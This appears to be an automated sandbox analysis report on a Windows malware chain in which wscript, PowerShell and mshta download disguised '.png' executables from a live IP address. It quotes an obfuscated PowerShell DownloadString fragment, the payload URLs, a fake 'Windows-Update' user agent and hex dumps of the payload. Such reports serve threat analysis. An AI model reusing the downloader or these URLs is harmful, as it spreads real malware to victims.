Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32%%(N%%ew-O%%%bje%%%ctN%%%et.W%%%e';$c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%';$c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3-Join'');$TC=$TC.replace source: powershell.exe, 00000007.00000002.2293866711.000001CF7AE00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.resourcesn.pdb source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB31.exe, Mig.exe
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb$ source: powershell.exe, 00000007.00000002.2293660004.000001CF7ADAE000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14EDCE0 FindFirstFileExW,	16_2_000001DCB14EDCE0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_000002246446DCE0 FindFirstFileExW,	19_2_000002246446DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165EDCE0 FindFirstFileExW,	54_2_000002D0165EDCE0
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F151DCE0 FindFirstFileExW,	62_2_000002D6F151DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FDDCE0 FindFirstFileExW,	63_2_0000014E41FDDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B05DCE0 FindFirstFileExW,	64_2_000001D15B05DCE0

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Image file has PE prefix: HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Sun, 06 Oct 2024 18:12:58 GMT Accept-Ranges: bytes ETag: "08ec05f1b18db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:44 GMT Content-Length: 7679488 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 64 72 79 75 6a 6d 70 00 70 21 00 00 60 8e 00 00 66 21 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 79 75 64 67 75 75 00 10 00 00 00 d0 af 00 00 02 00 00 00 2a 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 e0 af 00 00 02 00 00 00 2c 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: image/pngLast-Modified: Sun, 06 Oct 2024 18:12:58 GMTAccept-Ranges: bytesETag: "08ec05f1b18db1:0"Server: Microsoft-IIS/10.0Date: Wed, 18 Dec 2024 12:49:44 GMTContent-Length: 7679488Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 64 72 79 75 6a 6d 70 00 70 21 00 00 60 8e 00 00 66 21 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 79 75 64 67 75 75 00 10 00 00 00 d0 af 00 00 02 00 00 00 2a 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 e0 af 00 00 02 00 00 00 2c 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /FF/3.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/2.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/CMD.png HTTP/1.1Host: 176.113.115.178
Source: global traffic	HTTP traffic detected: GET /FF/1.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/M.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49715 -> 176.113.115.178:80

Source: global traffic	HTTP traffic detected: GET /Windows-Update HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Windows-Update/ HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178

Source: global traffic	HTTP traffic detected: GET /FF/3.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/2.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/CMD.png HTTP/1.1Host: 176.113.115.178
Source: global traffic	HTTP traffic detected: GET /Windows-Update HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Windows-Update/ HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/1.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/M.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0Date: Wed, 18 Dec 2024 12:49:10 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 7

Source: wscript.exe, 00000004.00000003.2189720210.000001D049241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115
Source: powershell.exe, 00000005.00000002.2240161447.0000015F81670000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2240161447.0000015F81631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF63F3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF63B21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026801668000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.00000268019D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026801631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178
Source: powershell.exe, 00000007.00000002.2232422986.000001CF6414E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/
Source: powershell.exe, 0000000F.00000002.2872624047.0000026877EB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2876638902.0000026878250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/1.png
Source: mshta.exe, 0000000C.00000003.2298065296.000002AECCF85000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2298938783.000002AECCF86000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2299398377.000002AECCF87000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2296225919.000002AECCF83000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2299546441.000002AECCF89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/1.png$TC=$TC.replace(
Source: powershell.exe, 0000000F.00000002.2689152499.0000026800C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/1.pngX
Source: wscript.exe, 00000009.00000002.2255456357.0000022C1EE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/2.png
Source: wscript.exe, 00000004.00000003.2188071581.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2187242940.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000002.2194375546.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2189720210.000001D049241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/2.png%http://176.113.115.178/FF/3.png%$
Source: wscript.exe, 00000004.00000002.2192682749.000001D04750E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/2.png6
Source: powershell.exe, 00000005.00000002.2240161447.0000015F80C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/2.pngX
Source: wscript.exe, 00000009.00000003.2252120336.0000022C1EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/3.png
Source: powershell.exe, 00000007.00000002.2232422986.000001CF63B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/3.pngX
Source: powershell.exe, 00000005.00000002.2240161447.0000015F81670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/CMD.png
Source: powershell.exe, 0000000F.00000002.2689152499.000002680166F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/M.png
Source: wscript.exe, wscript.exe, 00000009.00000003.2254332186.0000022C20CA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2254285588.0000022C20C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows
Source: mshta.exe, 0000000C.00000002.2308601542.000002A6CAB14000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2310783171.000002AED14F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287264466.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update
Source: mshta.exe, 0000000C.00000003.2286360520.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update$E
Source: wscript.exe, 00000009.00000002.2255820509.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2253868783.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2254057119.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update&
Source: mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update-
Source: mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/
Source: mshta.exe, 0000000C.00000003.2298038675.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2307546344.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308819002.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/...
Source: mshta.exe, 0000000C.00000003.2298038675.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2307546344.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308819002.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/...&
Source: mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/6
Source: mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/8
Source: mshta.exe, 0000000C.00000002.2308601542.000002A6CAB66000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2307499590.000002A6CAB63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/C:
